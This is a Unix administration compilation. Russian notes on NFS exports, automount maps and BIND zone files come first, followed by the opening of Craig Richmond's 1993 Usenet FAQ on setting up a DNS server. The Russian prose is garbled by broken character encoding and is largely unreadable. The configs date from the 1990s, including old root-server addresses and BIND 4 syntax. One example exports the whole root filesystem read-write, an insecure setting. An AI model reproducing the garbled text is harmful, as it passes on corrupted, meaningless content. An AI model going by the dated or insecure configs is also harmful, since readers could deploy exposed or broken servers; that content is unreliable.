        nfsd            - ।⢥ 㦨 ⮪ NFS

        biod            - ஢ NFS-⥭  
                          (⮫쪮  SunOS)

        pcnfsd          - ஢ ⥫ "ਧ" 짮-
                          ⥫    PC/NFS . ᪮ MSDOS
                            ⮬  ॣ樥 짮-
                          ⥫,  pcnfsd  ᠬ  訢     PC-譮
                          user'    ஫.
                          ( 易⥫,  ⥫)

        筮     ᪠  ஢ 믮 3. -
        ,  让  ⭮   㦨  ᢮ 設
        䠩   :

          /etc/rc3.d/S22nfs - ।祭  ᪠ NFS-ࢥ

           㪠,     ⠫, ࠧ蠥 "-
        "  NFS,    設  ࠧ蠥.

         ⠫ 㪠뢠  䠩

        /etc/dfs/dfstab             ᯮ       
        shareall  share (᫨   SVR4)

              䠩
        /etc/exports       ᯮ  
        exportfs -a     (᫨     㣮 UNIX)

                &dD4.&d@ ⨢ NFS.

        筮,  設    ᢥ⠭ Unix' NFS ࢥ 
        ⨢஢. ⮡   ⨫,  ⥬   
         ᯥ 믮 ᫮ ᫥  ।饬
        㭪.  ⮣ 筮:

                &dDMotorola 922&d@

        ᫥ 㧪 室  ஢ 믮 3.
         䠩 /etc/inittab ࠢ ப

        is:2:initdefault:
                 ப
        is:3:initdefault:

        ᪠ pcnfsd -  "ਧ樨" PCNFS' 짮⥫
         䠩 /etc/rc3.d/S22nfs ⠢  ᪠ :

                /usr/lib/nfs/pcnfsd

             sysadm      network_services   /   remote_files   /
        local_recources / share  / nfs  ⠫,   ࠧ-
        蠥 "ࠧ"  NFS. ਬ, ᯮ  ⠫
        /home

        ⮡  ࠢ   /etc/inittab ⢮, १㧨
        unix 

            shutdown -y -g0 -i6

                &dDLinux&d@

         䠩 /etc/rc.d/rc.inet2 ᪮ ப, ᪠騥
        
                rpc.portmap
                rpc.nfsd
                rpc.mountd
                rpc.ugidd

         䠩 /etc/exports ⠢ ப
        / (rw)

        १㧨

                &dDSun Solaris 1.1&d@.

         䠩 /etc/exports ⠢ ப...

          /home
          /usr

        १㧨

                &dDSun Solaris 2.3&d@.

         䠩 /etc/dfs/dfstab ⠢ ப  ᯮ㥬 䠩-
         ⥬. (ଠ 㪠    ⮬ 䠩)

        १㧨

                &dD5.&d@     . RFS. DFS.

        RFS - Remote File Sharing.  ⥢ 䠩 ⥬. NFS -
        ஦  BSD Unix', RFS - System V Unix'. 祭 ⠪
        ,    NFS.   २  ࠢ   NFS  
        . મ ࠦ ⪮, , ⮦.  ⥫쭮
         ࠭, 祬 NFS.   automounter'. ⮢
        RFS for MSDOS PC .  RFS ন 墠  ஢
        䠩,  ᯥ樠 䠩. ⨢஢ RFS     
        . ⢨⥫쭮, 祬  ன ࠫ ᥪ?

        DFS  -  Distributed File System.  ⥢ 䠩 ⥬.
          ,      ᪠.
        .
                &dD䨣஢ automount-&d@

        -஢騪  -   ,  饭    NFS-. 
           㤠  ⠫ "  "  -  ..,
                ந室  饭.  ᫨    ⮬᪨
        ᬮ஢   ⠫            뫮    饭,
        ⮬஢騪   ⮬᪨ ⬮.

        -஢ ন  automountd.  
        ᪠     砫쭮  㧪   樮  ⥬.
        ᪠    䠩

            /etc/rc2.d/S20nfs.client

             automountd          #  ᫨      NIS
               
             automountd -m -f /etc/auto.master   #  ⮫쪮 
                                                 # 

        ࠢ automountd ᪮쪨 "⠬" - 䠩  -
           㤠   ஢.    ⥩襬 砥 㦭
          䠩:

        /etc/auto_master     -  䨣樮 䠩

                       뫠 :
        /etc/auto_direct     - 㪠뢠,  ⠫ 㤠 ஢

        /etc/auto_home       -  ࠢ ஢ 譨
                               ⠫ 짮⥫, ᯮ 
                               㤠 設.

        /etc/auto_master :---------------------------------------------
        #
        # Master map for automounter
        #
        /net        -hosts
        # : ୥ ⠫    imyarek -
        #   ⠫       /net/imyarek
        #
        /-          /etc/auto_direct
        /home       /etc/auto_home


        /etc/auto_direct :---------------------------------------------
        #
        #
        /usr/informix    -ro,soft    classic00:/usr/informix
        /usr/local       -rw,soft    classic00:/usr/local
        #
        #      ஢  ࢮ ⪫襣 ࢥ.
        #
        /usr/share/man   -ro,soft    classic00:/usr/share/man \
                         -ro,soft    sun21:/usr/share/man \
                         -ro,soft    sun22:/usr/share/man


        /etc/auto_home :---------------------------------------------
        moshkow           s08:/udd/moshkow
        leo               classic00:/export/home/leo
        #    ⠪:
        *                 classic00:/export/home/&
        *                 sun21:/export/home/&

         짮⥫ polxzowatelx  ⮩ 設   -
        ॣ஢  譨 ⠫ /home/polxzowatelx
        .
                &dDDNS - Domain Name Service&d@

                &dD䨣஢ DNS-&d@

        &dD뢠  dns-server&d@

        /etc/resolv.conf :
        search          moshkow.pp.ru sosed.msk.ru
        nameserver      127.0.0.1
        ;nameserver     194.8.2.1

        &dD冷 ᬮ ଠ樨   ⮢   &d@

        /etc/host.conf     :           (Linux, BSD)
        order bind, hosts, nis
        multi on

        /etc/nsswitch.conf :           ( Solaris, HP-UX)
        . . .
        hosts:  files bind nis
        . . .

        &dD  襣 &d@    ( ᥣ,  )
        /etc/defaultdomain :
        moshkow.pp.ru

                &dD ᬮ  DNS&d@

         nslookup -ty=ns  msk.ru
         zzz=msk.ru ; named-xfer -z $zzz -f filename ns.$zzz
         egrep '^[a-z]' filename | egrep -v A | grep NS| cut -f1 | sort -u| wc

         室  RIPE:

        ftp://ftp.ripe.net/ripe/hostcount
        ftp://ftp.ripe.net/ripe/dbase

          &dD  䥢ࠫ 1997:&d@

        ru     1400
        msk.ru  217
        spb.ru  490
        ras.ru  20
        msu.su  19
        rssi.ru 42

                &dD * 䨣஢ DNS-ࢥ * &d@

              ⮣ 㦭 ᮧ 砫 䨣-䠩 named.boot 
         ⠫ /var/named ᫮ 䠩  ᠭ  

                &dDਬ  䠩&d@

                  moshkow.pp.ru
                   pp.ru  (  -  RIPN)
        Revers-      173.233.193.in-addr.arpa
          宧鶴  233.193.in-addr.arpa (  -  RIPN)

        /etc/named.boot          ; config-䠩 襣 DNS
        /var/named/moshkow.pp.ru ; ᠭ 襩 
        /var/named/193.233.173.0 ; ᠭ ॢ-dns  ⮩  
        /var/named/root.cache    ; 㦭 .   ⠭
        /var/named/127.0.0.1     ; 㦭 .   ⠭

             ᫨    쭠     祭  ୥, 
        ࠢ     DNS ࢥ  ७ 㦤.  ⮡
           ஦ 1.5  ⠩⮢  饭  
        "譨"   ⨦   ⠬,       ᤥ    䠩
        /var/named/root.cache .

                     dns      ॣ஢  
        "饩"   ,   ⮡      ஢        .
        -dns'       ⮦   室   ॣ஢   -
        ஢   易 ,  뤠  IP-.


        /var/named/moshkow.pp.ru: ========================
        @               IN      SOA     ns.moshkow.pp.ru. moshkow.ipsun.ras.ru. (
                1997093001 ; serial
                28800  ;8  Refresh   secondary ஢ 
                7200   ;2  Retry   secondary 몠 ᫥ "室"
                6048000;70d Expire  ᪮쪮    secondary
                864000);10d Minimum ᪮쪮    
                        IN NS   ns.moshkow.pp.ru.
                        IN NS   nss.ras.ru.
                        IN MX 10        mail.moshkow.pp.ru.
                        IN MX 50        mail.ras.ru.
        ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
        ns      IN A    193.233.173.111
        nss     IN A    193.233.172.8
        proxy   CNAME   t111
        mail    CNAME   t111
        ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
        t01     IN A    193.233.173.1
        t02     IN A    193.233.173.2
         . . .
        t254    IN A    193.233.173.254
        t255    IN A    193.233.173.255

        /var/named/193.233.173.0 : ========================
        @               IN      SOA     ns.moshkow.pp.ru. moshkow.ipsun.ras.ru. (
                                1997093001 ; serial
                                28800      ; refresh ( 8 hours)
                                7200       ; retry   ( 2 hours)
                                6048000    ; expire  (70 days )
                                864000 )   ; minimum (10 days  )
                        IN NS   ns.moshkow.pp.ru.
                        IN NS   nss.ras.ru.
                        IN MX 10        mail.moshkow.pp.ru.
                        IN MX 50        mail.ras.ru.
        ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
        1               IN PTR  t01.moshkow.pp.ru.
        2               IN PTR  t02.moshkow.pp.ru.
         . . .
        255             IN PTR  t255.moshkow.pp.ru.

        /var/named/root.cache -----------------------------------------
        ; ftp://ftp.rs.internic.net/domain/named.root
        ;
        .                        3600000  IN  NS    A.ROOT-SERVERS.NET.
        A.ROOT-SERVERS.NET.      3600000      A     198.41.0.4
        .                        3600000      NS    B.ROOT-SERVERS.NET.
        B.ROOT-SERVERS.NET.      3600000      A     128.9.0.107
        .                        3600000      NS    C.ROOT-SERVERS.NET.
        C.ROOT-SERVERS.NET.      3600000      A     192.33.4.12
        .                        3600000      NS    D.ROOT-SERVERS.NET.
        D.ROOT-SERVERS.NET.      3600000      A     128.8.10.90
        .                        3600000      NS    E.ROOT-SERVERS.NET.
        E.ROOT-SERVERS.NET.      3600000      A     192.203.230.10
        .                        3600000      NS    F.ROOT-SERVERS.NET.
        F.ROOT-SERVERS.NET.      3600000      A     192.5.5.241
        .                        3600000      NS    G.ROOT-SERVERS.NET.
        G.ROOT-SERVERS.NET.      3600000      A     192.112.36.4
        .                        3600000      NS    H.ROOT-SERVERS.NET.
        H.ROOT-SERVERS.NET.      3600000      A     128.63.2.53
        .                        3600000      NS    I.ROOT-SERVERS.NET.
        I.ROOT-SERVERS.NET.      3600000      A     192.36.148.17

        /var/named/127.0.0.0 --------------------------
        @               IN      SOA   localhost.  root.localhost. (
                                1997071201      ; Serial
                                36000           ; Refresh
                                3600            ; Retry
                                3600000         ; Expire
                                36000 )         ; Minimun
                IN      NS      localhost.
        1       IN      PTR     localhost.

        ===========   /etc/named.boot
        directory                               /var/named      ;
        cache   .                               root.cache      ;
        primary 0.0.127.in-addr.arpa            127.0.0.0       ;
        ; forwarders 193.124.148.65 193.124.23.4
        primary moshkow.pp.ru                    moshkow.pp.ru  ;
        primary 173.233.193.in-addr.arpa        193.233.173.0   ;
        ; secondary  moshkow.orc.ru  193.124.148.81  second/moshkow.orc.ru

                &dD⥫쭠 ଠ&d@

        $INCLUDE /var/named/header
        @
        $INCLUDE /var/named/fedfond-hosts-spisok
        @

        &dD᭥:&d@

        &dDࢠ ப ᮤন: &d@

                易⥫쭮 窮  
             ।।  IN  SOA
               ࢥ,   ஬ ᮤন  ࠢ쭠
             ଠ  , 
             易⥫쭮 窮  .  室 ࠧ饭 
             ࢥ஢  㤥  ଠ     ⮣ ࢥ.
             ⮢   ⢥⢥  ࢥ,  ஬  @
               .  ᫨
             ॡ ᯮ짮 .    ,  
              䨪஢
               \   ⮬  㤥 ࠢ ᮮ饭  砥
             ᯥ譮 ஢ .   ਢ ਬ 㤥 룫拉
             
             andrei.arkhipov@elvis.ru
             뢠 㣫 ᪮

         ᫥ 5 ப 뢠    ࠬ:

        &dDSerial&d@

        ।  浪    ।樨 䠩  ᠭ .
         ᫮     ⮫쪮    ஭  㢥祭  
                  ᥭ   䠩
        ᠭ . 㥬 ଠ:

        &dDYYYYMMDDNN&d@

          YYYY  -  , MM - , DD - , NN - 浪 
        ᥭ   㪠 .

        &dDRefresh&d@

         "refresh" ᥪ㭤  ࢥ ஢ ᭮ 
        । 㢥祭 祭  "serial",    ᫨    ந諮
            ᥡ  .  㥬  祭:  86400, 
        ⠢ 24 .

        &dDRetry&d@

        ᫨   ᭮   ࢥ      㯥,     㤥
        ந      ⪨      "retry"    ᥪ㭤.
        㥬 祭: 7200,  ⠢ 2 .

        &dDExpire&d@

        ᫨    祭  "expire"  ᥪ㭤    ࢥ    ᬮ
        ᮥ  ᭮   ଠ  ,  ⠥
        ᥡ ᯮᮡ  ⢥    . 㥬
        祭: 2592000,  ⠢ 30 ⮪.

        &dDMinimum TTL&d@

        祭    㬮砭   ६,  祭 ண ࢥ
        ন    .   㥬  祭:  345600,  
        ⠢ 4 ⮪.

          ᠭ  ࢥ஢ , 祬 ࢥ 㪠
           ࢮ   ப   (      SOA)   易⥫쭮   
        ⢮    ⮬  ᯨ᪥,    ᫨ 室 ࠧ饭
          ࢥ஢           (ns.spb.su   /
        ns.ussr.eu.net),         ⢮  ᯨ᪥, 
        ⠪  .

          ਢ  ਬ  ⢥ত,    
        ࢥ ns.elvis.ru    ns2.elvis.ru    ॡ  ࠧ饭
         ࢥ஢  ns.spb.su  ns.ussr.eu.net

         ,    ࢥ஢ 稢 窮.

        ===================================== EOF ===========================

        [ Article crossposted from comp.protocols.tcp-ip.domains ]
        [ Author was Craig Richmond - division (craig@ecel.uwa.edu.au) ]
        [ Posted on 3 Aug 1993 10:53:51 GMT ]


                        Setting up a basic DNS server for a domain
                                    Revision 1.1.1

                                    Craig Richmond
                                 craig@ecel.uwa.edu.au
                                    3rd August 1993


        About this document

        I have written this file because it seems that the same questions seem to
        pop up time and time again and when I had to install DNS from scratch the
        first time, we found very little to help us.

        This document covers setting up a Domain Name Server with authority over
        your domain and using a few of the more useful but less well known
        (hopefully this document will take care of that) features of nslookup to
        get information about the DNS and to work out why yours isn't working.

        If you are using a Sun Workstation and you want to make NIS interact with
        the DNS, then this is not the FAQ for you (but it may well be when you try
        to set up the DNS).  Mark J. McIntosh  points
        out that it is included in the comp.sys.sun.admin FAQ and for the benefit
        of those of you who can't get that (it is posted in comp.sys.sun.admin,
        comp.sys.sun.misc, comp.unix.solaris, comp.answers and news.answers) I have
        included the relevant parts at the bottom in appendix C.

        Contents:

           Contents
           An Overview of the DNS
           Installing the DNS
            *The Boot File
            *The Cache File
            *The Forward Mapping File
            *The Reverse Mapping File
           Delegating authority for domains within your domain
           Troubleshooting your named
            *Named doesn't work!  What is wrong?
            *I changed my named database and my local machine has noticed,
             but nobody else has the new information?
            *My local machine knows about all the name server information,
             but no other sites know about me?
            *My forward domain names work, but the backward names do not?
           How to get useful information from nslookup
            *Getting number to name mappings.
            *Finding where mail goes when a machine has no IP number.
            *Getting a list of machines in a domain from nslookup.
           Appendicies
            *Appendix A  sample root.cache file
            *Appendix B  Excerpt from RFC 1340 - Assigned Numbers - July 1992
            *Appendix C  Installing DNS on a Sun when running NIS


        An Overview of the DNS:

        The Domain Name System is the software that lets you have name to number
        mappings on your computers.  The name decel.ecel.uwa.edu.au is the number
        130.95.4.2 and vice versa.  This is achieved through the DNS.  The DNS is a
        heirarchy.  There are a small number of root domain name servers that are
        responsible for tracking the top level domains and who is under them.  The
        root domain servers between them know about all the people who have name
        servers that are authoritive for domains under the root.

        Being authoritive means that if a server is asked about something in that
        domain, it can say with no ambiguity whether or not a given piece of
        information is true.  For example.  We have domains x.z and y.z.  There are
        by definition authoritive name servers for both of these domains and we
        shall assume that the name server in both of these cases is a machine
        called nic.x.z and nic.y.z but that really makes no difference.

        If someone asks nic.x.z whether there is a machine called a.x.z, then
        nic.x.z can authoritively say, yes or no because it is the authoritive name
        server for that domain.  If someone asks nic.x.z whether there is a machine
        called a.y.z then nic.x.z asks nic.y.z whether such a machine exists (and
        caches this for future requests).  It asks nic.y.z because nic.y.z is the
        authoritive name server for the domain y.z.  The information about
        authoritive name servers is stored in the DNS itself and as long as you
        have a pointer to a name server who is more knowledgable than yourself then
        you are set.

        When a change is made, it propogates slowly out through the internet to
        eventually reach all machines.  The following was supplied by Mark Andrews
        Mark.Andrews@syd.dms.csiro.au.

                If both the primary and all secondaries are up and talking when
                a zone update occurs and for the refresh period after the
                update the old data will live for max(refresh + mininum)
                average (refresh/2 +mininum) for the zone. New information will
                be available from all servers after refresh.

        So with a refresh of 3 hours and a minimum of a day, you can expect
        everything to be working a day after it is changed.  If you have a longer
        minimum, it may take a couple of days before things return to normal.

        There is also a difference between a zone and a domain.  The domain is the
        entire set of machines that are contained within an organisational domain
        name.  For example, the domain uwa.edu.au contains all the machines at the
        University of Western Australia.  A Zone is the area of the DNS for which a
        server is responsible.  The University of Western Australia is a large
        organisation and trying to track all changes to machines at a central
        location would be difficult.  The authoritive name server for the zone
        uwa.edu.au delegates the authority for the zone ecel.uwa.edu.au to
        decel.ecel.uwa.edu.au.  Machine foo.ecel.uwa.edu.au is in the zone that
        decel is authoritive for.  Machine bar.uwa.edu.au is in the zone that
        uniwa.uwa.edu.au is authoritive for.

        Installing the DNS:

        First I'll assume you already have a copy of the Domain Name Server
        software.  It is probably called named or in.named depending on your
        flavour of unix.  I never had to get a copy, but if anyone thinks that
        information should be here then by all means tell me and I'll put it in.
        If you intend on using the package called Bind, then you should be sure
        that you get version 4.9, which is the most recent version at this point in
        time.

        The Boot File:

        First step is to create the file named.boot.  This describes to named
        (we'll dispense with the in.named.  Take them to be the same) where the
        information that it requires can be found.  This file is normally found in
        /etc/named.boot and I personally tend to leave it there because then I know
        where to find it.  If you don't want to leave it there but place it in a
        directory with the rest of your named files, then there is usually an
        option on named to specify the location of the boot file.

        Your typical boot file will look like this if you are an unimportant leaf
        node and there are other name servers at your site.

        directory       /etc/namedfiles

        cache           .                                       root.cache
        primary         ecel.uwa.edu.au                         ecel.uwa.domain
        primary         0.0.127.in-addr.arpa                    0.0.127.domain
        primary         4.95.130.in-addr.arpa                   4.95.130.domain
        forwarders      130.95.128.1

        Here is an alternative layout used by Christophe Wolfhugel
          He finds this easier because of
        the large number of domains he has.  The structure is essentially the same,
        but the file names use the domain name rather than the IP subnet to
        describe the contents.

        directory       /usr/local/etc/bind
        cache     .                      p/root
        forwarders      134.214.100.1 192.93.2.4
        ;
        ; Primary servers
        ;
        primary   fr.net                        p/fr.net
        primary   frmug.fr.net                  p/frmug.fr.net
        primary   127.in-addr.arpa              p/127
        ;
        ; Secondary servers
        ;
        secondary ensta.fr                 147.250.1.1     s/ensta.fr
        secondary gatelink.fr.net          134.214.100.1   s/gatelink.fr.net
        secondary insa-lyon.fr             134.214.100.1   s/insa-lyon.fr
        secondary loesje.org               145.18.226.21   s/loesje.org
        secondary nl.loesje.org            145.18.226.21   s/nl.loesje.org
        secondary pcl.ac.uk                161.74.160.5    s/pcl.ac.uk
        secondary univ-lyon1.fr            134.214.100.1   s/univ-lyon1.fr
        secondary wmin.ac.uk               161.74.160.5    s/wmin.ac.uk
        secondary westminster.ac.uk        161.74.160.5    s/westminster.ac.uk
        ;
        ;
        ; Secondary for addresses
        ;
        secondary 74.161.in-addr.arpa      161.74.160.5    s/161.74
        secondary 214.134.in-addr.arpa     134.214.100.1   s/134.214
        secondary 250.147.in-addr.arpa     147.250.1.1     s/147.250
        ;
        ; Classes C
        ;
        secondary 56.44.192.in-addr.arpa   147.250.1.1     s/192.44.56
        secondary 57.44.192.in-addr.arpa   147.250.1.1     s/192.44.57

        The lines in the named.boot file have the following meanings.

        directory

        This is the path that named will place in front of all file names
        referenced from here on.  If no directory is specified, it looks for files
        relative to /etc.

        cache

        This is the information that named uses to get started.  Named must know
        the IP number of some other name servers at least to get started.
        Information in the cache is treated differently depending on your version
        of named.  Some versions of named use the information included in the cache
        permenantly and others retain but ignore the cache information once up and
        running.

        primary

        This is one of the domains for which this machine is authorative for.  You
        put the entire domain name in.  You need forwards and reverse lookups.  The
        first value is the domain to append to every name included in that file.
        (There are some exceptions, but they will be explained later)  The name at
        the end of the line is the name of the file (relative to /etc of the
        directory if you specified one).  The filename can have slashes in it to
        refer to subdirectories so if you have a lot of domains you may want to
        split it up.

        BE VERY CAREFUL TO PUT THE NUMBERS BACK TO FRONT FOR THE REVERSE LOOK UP
        FILE.  The example given above is for the subnet ecel.uwa.edu.au whose IP
        address is 130.95.4.*.  The reverse name must be 4.95.130.in-addr.arpa.
        It must be backwards and it must end with .in-addr.arpa.  If your reverse
        name lookups don't work, check this.  If they still don't work, check this
        again.

        forwarders

        This is a list of IP numbers for forward requests for sites about which we
        are unsure.  A good choice here is the name server which is authoritive for
        the zone above you.

        secondary (This line is not in the example, but is worth mentioning.)

        A secondary line indicates that you wish to be a secondary name server for
        this domain.  You do not need to do this usually.  All it does is help make
        the DNS more robust.  You should have at least one secondary server for
        your site, but you do not need to be a secondary server for anyone else.
        You can by all means, but you don't need to be.  If you want to be a
        secondary server for another domain, then place the line

        secondary         gu.uwa.edu.au   130.95.100.3 130.95.128.1
        in your named.boot.  This will make your named try the servers on both of
        the machines specified to see if it can obtain the information about those
        domains.  You can specify a number of IP addresses for the machines to
        query that probably depends on your machine.  Your copy of named will upon
        startup go and query all the information it can get about the domain in
        question and remember it and act as though it were authoritive for that
        domain.

        Next you will want to start creating the data files that contain the name
        definitions.

        The cache file:

        You can get a copy of the cache file from FTP.RS.INTERNIC.NET.  The current
        copy can be found in Appendix A.

        The Forward Mapping file:
        The file ecel.uwa.edu.au. will be used for the example with a couple of
        machines left in for the purpose of the exercise.  Here is a copy of what
        the file looks like with explanations following.

        ; Authoritative data for ecel.uwa.edu.au
        ;
        @               IN     SOA decel.ecel.uwa.edu.au. postmaster.ecel.uwa.edu.au. (
                                        93071200        ; Serial (yymmddxx)
                                        10800           ; Refresh 3 hours
                                        3600            ; Retry   1 hour
                                        3600000         ; Expire  1000 hours
                                        86400 )         ; Minimum 24 hours
                        IN      A               130.95.4.2
                        IN      MX      100     decel
                        IN      MX      150     uniwa.uwa.edu.au.
                        IN      MX      200     relay1.uu.net.
                        IN      MX      200     relay2.uu.net.

        localhost       IN      A               127.0.0.1

        decel           IN      A               130.95.4.2
                        IN      HINFO   SUN4/110         UNIX
                        IN      MX      100     decel
                        IN      MX      150     uniwa.uwa.edu.au.
                        IN      MX      200     relay1.uu.net
                        IN      MX      200     relay2.uu.net

        gopher          IN      CNAME           decel.ecel.uwa.edu.au.

        accfin          IN      A               130.95.4.3
                        IN      HINFO   SUN4/110         UNIX
                        IN      MX      100     decel
                        IN      MX      150     uniwa.uwa.edu.au.
                        IN      MX      200     relay1.uu.net
                        IN      MX      200     relay2.uu.net

        chris-mac       IN      A               130.95.4.5
                        IN      HINFO   MAC-II  MACOS

        The comment character is ';' so the first two lines are just comments
        indicating the contents of the file.

        All values from here on have IN in them.  This indicates that the value is
        an InterNet record.  There are a couple of other types, but all you need
        concern yourself with is internet ones.

        The SOA record is the Start Of Authority record.  It contains the
        information that other nameservers will learn about this domain and how to
        treat the information they are given about it.  The '@' as the first
        character in the line indicates that you wish to define things about the
        domain for which this file is responsible.  The domain name is found in the
        named.boot file in the corresponding line to this filename.  All
        information listed refers to the most recent machine/domain name so all
        records from the '@' until 'localhost' refer to the '@'.  The SOA record
        has 5 magic numbers.  First magic number is the serial number.  If you
        change the file, change the serial number.  If you don't, no other name
        servers will update their information.  The old information will sit around
        for a very long time.

        Refresh is the time between refreshing information about the SOA (correct
        me if I am wrong).  Retry is the frequency of retrying if an authorative
        server cannot be contacted.  Expire is how long a secondary name server
        will keep information about a zone without successfully updating it or
        confirming that the data is up to date.  This is to help the information
        withstand fairly lengthy downtimes of machines or connections in the
        network without having to recollect all the information.  Minimum is the
        default time to live value handed out by a nameserver for all records in
        a zone without an explicit TTL value. This is how long the data will live
        after being handed out.  The two pieces of information before the 5 magic
        numbers are the machine that is considered the origin of all of this
        information.  Generally the machine that is running your named is a good
        one for here.  The second is an email address for someone who can fix any
        problems that may occur with the DNS.  Good ones here are postmaster,
        hostmaster or root.  NOTE: You use dots and not '@' for the email address.

        eg  root.decel.ecel.uwa.edu.au is correct
             and
            root@decel.ecel.uwa.edu.au is incorrect.

        We now have an address to map ecel.uwa.edu.au to.  The address is
        130.95.4.2 which happens to be decel, our main machine.  If you try to find
        an IP number for the domain ecel.uwa.edu.au it will get you the machine
        decel.ecel.uwa.edu.au's IP number.  This is a nicety which means that
        people who have non-MX record mailers can still mail fred@ecel.uwa.edu.au
        and don't have to find the name of a machine name under the domain to mail.

        Now we have a couple of MX records for the domain itself.  The MX records
        specify where to send mail destined for the machine/domain that the MX
        record is for.  In this case we would prefer if all mail for
        fred@ecel.uwa.edu.au is sent to decel.ecel.uwa.edu.au.  If that does not
        work, we would like it to go to uniwa.uwa.edu.au because there are a number
        of machines that might have no idea how to get to us, but may be able to get
        to uniwa.  And failing that, try the site relay1.uu.net.  A small number
        indicates that this site should be tried first.  The larget the number the
        further down the list of sites to try the site is.  NOTE: Not all machines
        have mailers that pay attention to MX records.  Some only pay attention to
        IP numbers, which is really stupid.  All machines are required to have
        MX-capable Mail Transfer Agents (MTA) as there are many addresses that can
        only be reached via this means.

        There is an entry for localhost now.  Note that this is somewhat of a
        kludge and should probably be handled far more elegantly.  By placing
        localhost here, a machine comes into existance called
        localhost.ecel.uwa.edu.au.  If you finger it, or telnet to it, you get your
        own machine, because the name lookup returns 127.0.0.1 which is the special
        case for your own machine.  I have used a couple of different DNS packages.
        The old BSD one let you put things into the cache which would always work,
        but would not be exported to other nameservers.  In the newer Sun one, they
        are left in the cache and are mostly ignored once named is up and running.
        This isn't a bad solution, its just not a good one.

        Decel is the main machine in our domain.  It has the IP number 130.95.4.2
        and that is what this next line shows.  It also has a HINFO entry.  HINFO
        is Host Info which is meant to be some sort of an indication of what the
        machine is and what it runs.  The values are two white space seperated
        values.  First being the hardware and second being the software.  HINFO is
        not compulsory, its just nice to have sometimes.  We also have some MX
        records so that mail destined for decel has some other avenues before it
        bounces back to the sender if undeliverable.

        It is a good idea to give all machines capable of handling mail an MX
        record because this can be cached on remote machines and will help to
        reduce the load on the network.

        gopher.ecel.uwa.edu.au is the gopher server in our division.  Now because
        we are cheapskates and don't want to go and splurge on a seperate machine
        just for handling gopher requests we have made it a CNAME to our main
        machine.  While it may seem pointless it does have one main advantage.
        When we discover that our placing terrabytes of popular quicktime movies
        on our gopher server (no we haven't and we don't intend to) causes an
        unbearable load on our main machine, we can quickly move the CNAME to
        point at a new machine by changing the name mentioned in the CNAME.  Then
        the slime of the world can continue to get their essential movies with a
        minimal interuption to the network.  Other good CNAMEs to maintain are
        things like ftp, mailhost, netfind, archie, whois, and even dns (though the
        most obvious use for this fails).  It also makes it easier for people to
        find these services in your domain.

        We should probably start using WKS records for things like gopher and whois
        rather than making DNS names for them.  The tools are not in wide
        circulation for this to work though.  (Plus all those comments in many DNS
        implementation of "Not implemented" next to the WKS record)

        Finally we have a macintosh which belongs to my boss.  All it needs is an
        IP number, and we have included the HINFO so that you can see that it is in
        fact a macII running a Mac System.  To get the list of preferred values,
        you should get a copy of RFC 1340.  It lists lots of useful information
        such as /etc/services values, ethernet manufacturer hardware addresses,
        HINFO defualts and many others.  I will include the list as it stands at
        the moment, but if any RFC superceeds 1340, then it will have a more
        complete list.  See Appendix B for that list.

        NOTE:  If Chris had a very high profile and wanted his mac to appear like a
        fully connected unix machine as far as internet services were concerned, he
        could simply place an MX record such as

                IN      MX      100  decel

        after his machine and any mail sent to chris@chris-mac.ecel.uwa.edu.au
        would be automatically rerouted to decel.

        The Reverse Mapping File

        The reverse name lookup is handled in a most bizarre fashion.  Well it all
        makes sense, but it is not immediately obvious.

        All of the reverse name lookups are done by finding the PTR record
        associated with the name w.x.y.z.in-addr.arpa.  So to find the name
        associated with the IP number 1.2.3.4, we look for information stored in
        the DNS under the name 4.3.2.1.in-addr.arpa.  They are organised this way
        so that when you are allocated a B class subnet for example, you get all of
        the IP numbers in the domain 130.95.  Now to turn that into a reverse name
        lookup domain, you have to invert the numbers or your registered domains
        will be spread all over the place.  It is a mess and you need not understand
        the finer points of it all.  All you need to know is that you put the
        reverse name lookup files back to front.

        Here is the sample reverse name lookup files to go with our example.

        0.0.127.in-addr.arpa

        ;  Reverse mapping of domain names 0.0.127.in-addr.arpa
        ;  Nobody pays attention to this, it is only so 127.0.0.1 -> localhost.
        @               IN      SOA decel.ecel.uwa.edu.au. postmaster.ecel.uwa.edu.au. (
                                        91061801        ; Serial (yymmddxx)
                                        10800           ; Refresh 3 hours
                                        3600            ; Retry   1 hour
                                        3600000         ; Expire  1000 hours
                                        86400 )         ; Minimum 24 hours
        ;
        1               IN      PTR         localhost.ecel.uwa.edu.au.


        4.95.130.in-addr.arpa

        ;       reverse mapping of domain names 4.95.130.in-addr.arpa
        ;
        @               IN      SOA decel.ecel.uwa.edu.au. postmaster.ecel.uwa.edu.au. (
                                        92050300        ; Serial (yymmddxx format)
                                        10800           ; Refresh       3hHours
                                        3600            ; Retry         1 hour
                                        3600000         ; Expire        1000 hours
                                        86400 )         ; Minimum       24 hours
        2               IN      PTR     decel.ecel.uwa.edu.au.
        3               IN      PTR     accfin.ecel.uwa.edu.au.
        5               IN      PTR     chris-mac.ecel.uwa.edu.au.


        It is important to remember that you must have a second start of authority
        record for the reverse name lookups.  Each reverse name lookup file must
        have its own SOA record.  The reverse name lookup on the 127 domain is
        debatable seeing as there is likely to be only one number in the file and
        it is blatantly obvious what it is going to map to.

        The SOA details are the same as in the forward mapping.

        Each of the numbers listed down the left hand side indicates that the line
        contains information for that number of the subnet.  Each of the subnets
        must be the more significant digits.  eg the 130.95.4 of an IP number
        130.95.4.2 is implicit for all numbers mentioned in the file.

        The PTR must point to a machine that can be found in the DNS.  If the name
        is not in the DNS, some versions of named just bomb out at this point.

        Reverse name lookups are not compulsory, but nice to have.  It means that
        when people log into machines, they get names indicating where they are
        logged in from.  It makes it easier for you to spot things that are wrong
        and it is far less cryptic than having lots of numbers everywhere.  Also if
        you do not have a name for your machine, some brain dead protocols such as
        talk will not allow you to connect.

        Since I had this I had one suggestion of an alternative way to do the
        localhost entry.  I think it is a matter of personal opinion so I'll
        include it here in case anyone things that this is a more appropriate
        method.

        The following is courtesy of jep@convex.nl (JEP de Bie)

          The way I did it was:

          1) add in /etc/named.boot:

             primary   .                             localhost
             primary   127.in-addr.ARPA.             IP127

        (Craig: It has been suggested by Mark Andrews that this is a bad practice
         particularly if you have upgraded to Bind 4.9.  You also run the risk of
         polluting the root name servers.  This comes down to a battle of idealogy
         and practicality.  Think twice before declaring yourself authorative for
         the root domain.)

